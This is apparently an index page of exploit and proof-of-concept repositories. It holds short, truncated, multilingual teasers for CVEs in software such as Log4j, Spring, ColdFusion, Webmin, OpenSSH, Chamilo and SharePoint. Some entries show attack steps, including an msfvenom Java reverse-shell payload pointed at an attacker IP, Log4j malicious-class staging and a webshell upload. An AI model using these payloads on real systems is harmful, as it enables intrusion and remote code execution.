CVE-LiteLLM

cve-id ⚡ सरल उपयोग इस प्रोजेक्ट का उपयोग केवल सुरक्षित और अधिकृत वातावरणों में करें, जैसे: स्थानीय वर्चुअल मशीनें Docker कंटेनर पृथक प्रयोगशाला सेटअप अधिकृत पैठ परीक्षण वातावरण उदाहरण सेटअप: root@kitploit: git clone cd Project use python follow below Create a virtual environment python -m venv ve...

-CVE-2021-44790

CVE-2021-44790 Descrizione di CVE-2021-44790 CVE-2021-44790 descrive un bug di sicurezza a livello di sistema presente in modlua di Apache HTTP Server, in particolare nella versione 2.4.51 e precedenti. La vulnerabilità viene attivata quando la funzione r:parsebody gestisce in modo improprio le...

CVE-2026-48095

CVE-2026-48095 7-Zip é um compactador de arquivos com alta taxa de compressão. As versões 26.00 e anteriores contêm uma vulnerabilidade de estouro de buffer no heap causada por uma subalocação no buffer do fluxo compactado NTFS GetCuSize shift UB, potencialmente permitindo que atacantes causem...

CVE-2026-45659

CVE-2026-45659 Deserialisierung nicht vertrauenswürdiger Daten in Microsoft Office SharePoint ermöglicht einem autorisierten Angreifer die Codeausführung über ein Netzwerk. ⚡ Einfache Nutzung Verwenden Sie dieses Projekt nur in sicheren und autorisierten Umgebungen wie: Lokale virtuelle Maschinen...

CVE-2026-35273

CVE-2026-35273 Questo avviso di sicurezza riguarda la vulnerabilità CVE-2026-35273 in Oracle PeopleSoft PeopleTools. Anche i clienti Oracle PeopleSoft Enterprise Applications potrebbero essere interessati da questa vulnerabilità. Questa vulnerabilità è sfruttabile da remoto senza autenticazione. ...

CVE-2026-3300

CVE-2026-3300 - Wordpress ⚡ Utilizzo Semplice Usa questo progetto solo in ambienti sicuri e autorizzati, come: Macchine virtuali locali Contenitori Docker Configurazioni di laboratorio isolate Ambienti di test di penetrazione autorizzati Esempio di configurazione: root@kitploit: git clone cd...

CVE-2026-25089

CVE-2026-25089 - Bozza - Fortinet FortiSandbox ⚡ Utilizzo Semplice Utilizza questo progetto solo in ambienti sicuri e autorizzati come: Macchine virtuali locali Container Docker Configurazioni di laboratorio isolate Ambienti di test di penetrazione autorizzati Configurazione di esempio:...

CVE-2026-20253

CVE-2026-20253 - Splunk Enterprise ⚡ Utilizzo Semplice Utilizza questo progetto solo in ambienti sicuri e autorizzati, come: Macchine virtuali locali Contenitori Docker Configurazioni di laboratorio isolate Ambienti di test di penetrazione autorizzati Setup di esempio: root@kitploit: git clone...

CVE-2024-6783

CVE-2024-6783 - Vue CVE A vulnerability has been discovered in Vue, that allows an attacker to perform XSS via prototype pollution. The attacker could change the prototype chain of some properties such as Object.prototype.staticClass or Object.prototype.staticStyle to execute arbitrary JavaScript...

CVE-2020-27955

Git-lfs Remote Code Execution RCE Exploit CVE-2020-27955 .bat / PowerShell-Version Betroffen: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken usw. Entdeckt von Dawid Golunski https://legalhackers.com https://exploitbox.io Getestet unter Windows auf: git,...

POC_CVE-2026-46716

CVE-2026-46716 — RCE Entre-Tenants no Nezha Monitoring via Bypass de Autorização na API Cron Um ambiente de laboratório para reproduzir e detectar CVE-2026-46716 , uma vulnerabilidade crítica no Nezha Monitoring onde o endpoint POST /api/v1/cron carece de verificações de privilégio de...

webmin_docker_and_exp

Docker-webmin-RCE-lab 1. Dockerfiles für die Reproduktion von CVE-2019-15107webmin RCE inklusive v1.890 und v1.920. 2. Exp für jede Version. Image erstellen root@kitploit: First, clone the files Then cd webmin1.890/1.920docker docker build -t hachp1/webmin . Container starten root@kitploit: docke...

LuCI_RCE_exp

EXP di CVE-2019-12272 CVE-2019-12272 è una vulnerabilità di LuCI per eseguire codice bash arbitrario. Dettagli https://hachp1.github.io/posts/Web%E5%AE%89%E5%85%A8/20190710-lucirce.html Utilizzo python .\cve-2019-12272bandwidthstatus.py -a 192.168.153.4 -u root -p root -c ls python...

CVE-2023-4220

Chamilo CVE-2023-4220 Exploit La vulnerabilità CVE-2023-4220 è una vulnerabilità di upload di file che colpisce le versioni = 1.11.24 di Chamilo. Questa vulnerabilità consente all'attaccante di ottenere l'esecuzione remota di comandi tramite il caricamento di una webshell nel percorso...

CVE-2023-25136

CVE-2023-25136 Scansione e sfruttamento di massa della vulnerabilità OpenSSH 9.1 Dettagli della vulnerabilità OpenSSH è un software che implementa il protocollo SSH, utilizzato in genere per connettersi in modo sicuro a macchine Linux o Windows per eseguire l'amministrazione remota. La...

CVE-2023-26360-RCE

CVE-2023-26360 - Remote Code Execution auf ColdFusion 2021 Manchmal funktionieren die Skripte nicht beim ersten Versuch. Versuchen Sie es ein paar Mal, damit es funktioniert Ausführung Erstellen eines Payloads mit msfvenom root@kitploit: msfvenom -p java/shellreversetcp LHOST=192.168.56.1...

CVE-2020-23934

CVE-2020-23934 Referenzen 1 https://www.exploit-db.com/exploits/48636 2 https://github.com/vj0shii/PRTG-Network-MonitorCMS-Authenticated-Remote-Code-Execution/blob/master/PRTGCMS.py 3 https://stackoverflow.com/questions/12385179/how-to-send-a-multipart-form-data-with-requests-in-python 4...

clone_and_pwn

Intestazioni Titolo Exploit: Clone and Pwn Data: 4 giugno 2018 Autore Exploit: Alejandro Caceres Homepage del Venditore: https://git-scm.com/ Link Software: https://git-scm.com/downloads Versione: codice arbitrario viene eseguito sulle versioni del client git precedenti a 2.13.7, 2.14.x precedent...

CVE-2022-22965

CVE-2022-22965 noto anche come "Spring4Shell" Vulnerabilità RCE in Spring Framework via Data Binding su JDK 9+ L'obiettivo è centralizzare la maggiore quantità di informazioni di pubblico dominio sulla vulnerabilità fino ad oggi e sapere quali azioni intraprendere in tal caso. La mia applicazione...

CVE-2021-44228-Log4j-PoC-RCE

Apache Log4j CVE-2021-44228 GK7 PoC Passaggi 1. Compilare Log4jRCE.java e spostare il file .class su un server web es. PHP locale 1. cd src/main/java 2. javac Log4jRCE.java 3. Spostare il file .class su un server web oppure avviare localmente un PHP, ad esempio: php -S 127.0.0.1:8888 2. Avviare i...